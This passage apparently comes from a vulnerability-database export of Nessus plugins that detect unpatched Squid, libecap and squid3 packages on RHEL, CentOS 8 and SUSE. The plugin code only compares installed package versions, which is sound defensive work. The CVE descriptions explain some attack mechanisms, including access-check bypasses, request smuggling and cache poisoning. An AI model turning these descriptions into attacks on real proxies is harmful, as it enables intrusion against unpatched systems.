'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'libecap-devel-1.0.1-2.module+el8.1.0+4044+36416a77', 'sp':'4', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.1.0', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'squid-4.11-3.module+el8.3.0+7851+7808b5f9', 'sp':'4', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.3.0', 'rpm_spec_vers_cmp':TRUE, 'epoch':'7', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'squid-4.11-3.module+el8.3.0+7851+7808b5f9', 'sp':'4', 'cpu':'s390x', 'release':'8', 'el_string':'el8.3.0', 'rpm_spec_vers_cmp':TRUE, 'epoch':'7', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']},\n {'reference':'squid-4.11-3.module+el8.3.0+7851+7808b5f9', 'sp':'4', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.3.0', 'rpm_spec_vers_cmp':TRUE, 'epoch':'7', 'repo_list':['enterprise_linux_8_appstream', 'enterprise_linux_8_baseos', 'enterprise_linux_8_crb', 'enterprise_linux_8_highavailability', 'enterprise_linux_8_nfv', 'enterprise_linux_8_realtime', 'enterprise_linux_8_resilientstorage', 'enterprise_linux_8_sap', 'enterprise_linux_8_sap_hana', 'enterprise_linux_8_supplementary', 'rhel_aus_8_4_appstream', 'rhel_aus_8_4_baseos', 'rhel_e4s_8_4_appstream', 'rhel_e4s_8_4_baseos', 'rhel_e4s_8_4_highavailability', 'rhel_e4s_8_4_sap', 'rhel_e4s_8_4_sap_hana', 'rhel_eus_8_4_appstream', 'rhel_eus_8_4_baseos', 'rhel_eus_8_4_crb', 'rhel_eus_8_4_highavailability', 'rhel_eus_8_4_resilientstorage', 'rhel_eus_8_4_sap', 'rhel_eus_8_4_sap_hana', 'rhel_eus_8_4_supplementary', 'rhel_extras_nfv_8', 'rhel_extras_rt_8', 'rhel_tus_8_4_appstream', 'rhel_tus_8_4_baseos', 'rhel_tus_8_4_highavailability']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp']) && !enterprise_linux_flag) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = rhel_decide_repo_check(repo_list:repo_list, repo_sets:repo_sets);\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(repo_sets)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'libecap / libecap-devel / squid');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T16:03:52", "description": "The remote CentOS Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CESA-2020:4743 advisory.\n\n - squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n - squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n - squid: Improper input validation in URI processor (CVE-2019-12523)\n\n - squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n - squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n - squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n - squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n - squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n - squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n - squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n - squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n - squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n - squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n - squid: DoS in TLS handshake (CVE-2020-14058)\n\n - squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n - squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\n - squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n - squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-01T00:00:00", "type": "nessus", "title": "CentOS 8 : squid:4 (CESA-2020:4743)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2022-05-10T00:00:00", "cpe": ["cpe:/o:centos:centos:8", "p-cpe:/a:centos:centos:libecap", "p-cpe:/a:centos:centos:libecap-devel", "p-cpe:/a:centos:centos:squid"], "id": "CENTOS8_RHSA-2020-4743.NASL", "href": "https://www.tenable.com/plugins/nessus/145969", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The package checks in this plugin were extracted from\n# Red Hat Security Advisory RHSA-2020:4743. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(145969);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/10\");\n\n script_cve_id(\n \"CVE-2019-12520\",\n \"CVE-2019-12521\",\n \"CVE-2019-12523\",\n \"CVE-2019-12524\",\n \"CVE-2019-12526\",\n \"CVE-2019-12528\",\n \"CVE-2019-12529\",\n \"CVE-2019-12854\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18678\",\n \"CVE-2019-18679\",\n \"CVE-2019-18860\",\n \"CVE-2020-8449\",\n \"CVE-2020-8450\",\n \"CVE-2020-14058\",\n \"CVE-2020-15049\",\n \"CVE-2020-24606\"\n );\n script_xref(name:\"RHSA\", value:\"2020:4743\");\n\n script_name(english:\"CentOS 8 : squid:4 (CESA-2020:4743)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote CentOS host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote CentOS Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the\nCESA-2020:4743 advisory.\n\n - squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n - squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n - squid: Improper input validation in URI processor (CVE-2019-12523)\n\n - squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n - squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n - squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n - squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n - squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n - squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n - squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n - squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n - squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n - squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour\n (CVE-2019-18860)\n\n - squid: DoS in TLS handshake (CVE-2020-14058)\n\n - squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n - squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\n - squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n - squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:4743\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected libecap, libecap-devel and / or squid packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2019-12526\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/11/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/01\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:8\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:libecap\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:libecap-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:squid\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CentOS Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/CentOS/release');\nif (isnull(release) || 'CentOS' >!< release) audit(AUDIT_OS_NOT, 'CentOS');\nos_ver = pregmatch(pattern: \"CentOS(?: Stream)?(?: Linux)? release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'CentOS');\nos_ver = os_ver[1];\nif ('CentOS Stream' >< release) audit(AUDIT_OS_NOT, 'CentOS 8.x', 'CentOS Stream ' + os_ver);\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '8')) audit(AUDIT_OS_NOT, 'CentOS 8.x', 'CentOS ' + os_ver);\n\nif (!get_kb_item('Host/CentOS/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'CentOS', cpu);\n\nmodule_ver = get_kb_item('Host/RedHat/appstream/squid');\nif (isnull(module_ver)) audit(AUDIT_PACKAGE_NOT_INSTALLED, 'Module squid:4');\nif ('4' >!< module_ver) audit(AUDIT_PACKAGE_NOT_AFFECTED, 'Module squid:' + module_ver);\n\nappstreams = {\n 'squid:4': [\n {'reference':'libecap-1.0.1-2.module_el8.1.0', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libecap-1.0.1-2.module_el8.1.0', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libecap-devel-1.0.1-2.module_el8.1.0', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'libecap-devel-1.0.1-2.module_el8.1.0', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'squid-4.11-3.module_el8.3.0', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'7'},\n {'reference':'squid-4.11-3.module_el8.3.0', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE, 'epoch':'7'}\n ]\n};\n\nflag = 0;\nappstreams_found = 0;\nforeach module (keys(appstreams)) {\n appstream = NULL;\n appstream_name = NULL;\n appstream_version = NULL;\n appstream_split = split(module, sep:':', keep:FALSE);\n if (!empty_or_null(appstream_split)) {\n appstream_name = appstream_split[0];\n appstream_version = appstream_split[1];\n if (!empty_or_null(appstream_name)) appstream = get_one_kb_item('Host/RedHat/appstream/' + appstream_name);\n }\n if (!empty_or_null(appstream) && appstream_version == appstream || appstream_name == 'all') {\n appstreams_found++;\n foreach package_array ( appstreams[module] ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'CentOS-' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n }\n }\n}\n\nif (!appstreams_found) audit(AUDIT_PACKAGE_NOT_INSTALLED, 'Module squid:4');\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'libecap / libecap-devel / squid');\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-12T14:55:35", "description": "The remote SUSE Linux SLES11 host has a package installed that is affected by multiple vulnerabilities as referenced in the SUSE-SU-2020:14460-1 advisory.\n\n - An issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow. (CVE-2019-12519)\n\n - An issue was discovered in Squid through 4.7 and 5. When receiving a request, Squid checks its cache to see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to provide a username that has special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n (CVE-2019-12521)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost. (CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\n - An issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote (which would satisfy its requirements), leading to a memcpy of its length minus 1. (CVE-2019-12525)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap. (CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.10. It allows a crafted FTP server to trigger disclosure of sensitive information from heap memory, such as information associated with other users' sessions or non- Squid processes. (CVE-2019-12528)\n\n - An issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode.\n uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The length is then used to start decoding the string. There are no checks to ensure that the length it calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the display of usernames on error pages. (CVE-2019-12529)\n\n - The cachemgr.cgi web module of Squid through 4.7 has XSS via the user_name or auth parameter.\n (CVE-2019-13345)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks; any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme. (CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.\n (CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon. (CVE-2019-18678)\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.\n (CVE-2019-18679)\n\n - Squid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter to cachemgr.cgi. (CVE-2019-18860)\n\n - An issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials). (CVE-2020-11945)\n\n - An issue was discovered in Squid 5.x before 5.0.3. Due to an Incorrect Synchronization, a Denial of Service can occur when processing objects in an SMP cache because of an Ipc::Mem::PageStack::pop ABA problem during access to the memory page/slot management list. (CVE-2020-14059)\n\n - An issue was discovered in http/ContentLengthInterpreter.cc in Squid before 4.12 and 5.x before 5.0.3. A Request Smuggling and Poisoning attack can succeed against the HTTP cache. The client sends an HTTP request with a Content-Length header containing +\\ - or an uncommon shell whitespace character prefix to the length field-value. (CVE-2020-15049)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, it can interpret crafted HTTP requests in unexpected ways to access server resources prohibited by earlier security filters.\n (CVE-2020-8449)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect buffer management, a remote client can cause a buffer overflow in a Squid instance acting as a reverse proxy. (CVE-2020-8450)\n\n - An issue was discovered in Squid before 4.10. Due to incorrect input validation, the NTLM authentication credentials parser in ext_lm_group_acl may write to memory outside the credentials buffer. On systems with memory access protections, this can result in the helper process being terminated unexpectedly. This leads to the Squid process also terminating and a denial of service for all clients using the proxy.\n (CVE-2020-8517)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-06-10T00:00:00", "type": "nessus", "title": "SUSE SLES11 Security Update : squid3 (SUSE-SU-2020:14460-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-14059", "CVE-2020-15049", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:2.3:o:novell:suse_linux:11:*:*:*:*:*:*:*", "p-cpe:2.3:a:novell:suse_linux:squid3:*:*:*:*:*:*:*"], "id": "SUSE_SU-2020-14460-1.NASL", "href": "https://www.tenable.com/plugins/nessus/150657", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n#\n# The package checks in this plugin were extracted from\n# SUSE update advisory SUSE-SU-2020:14460-1. The text itself\n# is copyright (C) SUSE.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(150657);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2019-12519\",\n \"CVE-2019-12520\",\n \"CVE-2019-12521\",\n \"CVE-2019-12523\",\n \"CVE-2019-12524\",\n \"CVE-2019-12525\",\n \"CVE-2019-12526\",\n \"CVE-2019-12528\",\n \"CVE-2019-12529\",\n \"CVE-2019-13345\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18678\",\n \"CVE-2019-18679\",\n \"CVE-2019-18860\",\n \"CVE-2020-8449\",\n \"CVE-2020-8450\",\n \"CVE-2020-8517\",\n \"CVE-2020-11945\",\n \"CVE-2020-14059\",\n \"CVE-2020-15049\"\n );\n script_xref(name:\"SuSE\", value:\"SUSE-SU-2020:14460-1\");\n\n script_name(english:\"SUSE SLES11 Security Update : squid3 (SUSE-SU-2020:14460-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote SUSE host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote SUSE Linux SLES11 host has a package installed that is affected by multiple vulnerabilities as referenced in\nthe SUSE-SU-2020:14460-1 advisory.\n\n - An issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid\n calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's\n being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a\n new member to the stack. When adding a new member, there is no check to ensure that the stack won't\n overflow. (CVE-2019-12519)\n\n - An issue was discovered in Squid through 4.7 and 5. When receiving a request, Squid checks its cache to\n see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and\n password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to\n provide a username that has special characters to delimit the domain, and treat the rest of the URL as a\n path or query string. An attacker could first make a request to their domain using an encoded username,\n then when a request for the target domain comes in that decodes to the exact URL, it will serve the\n attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows\n an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in\n ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is\n parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this\n buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same\n structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.\n (CVE-2019-12521)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is\n made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This\n causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker\n can connect to HTTP servers that only listen on localhost. (CVE-2019-12523)\n\n - An issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to\n see if the request should be denied. Squid by default comes with rules to block access to the Cache\n Manager, which serves detailed server information meant for the maintainer. This rule is implemented via\n url_regex. 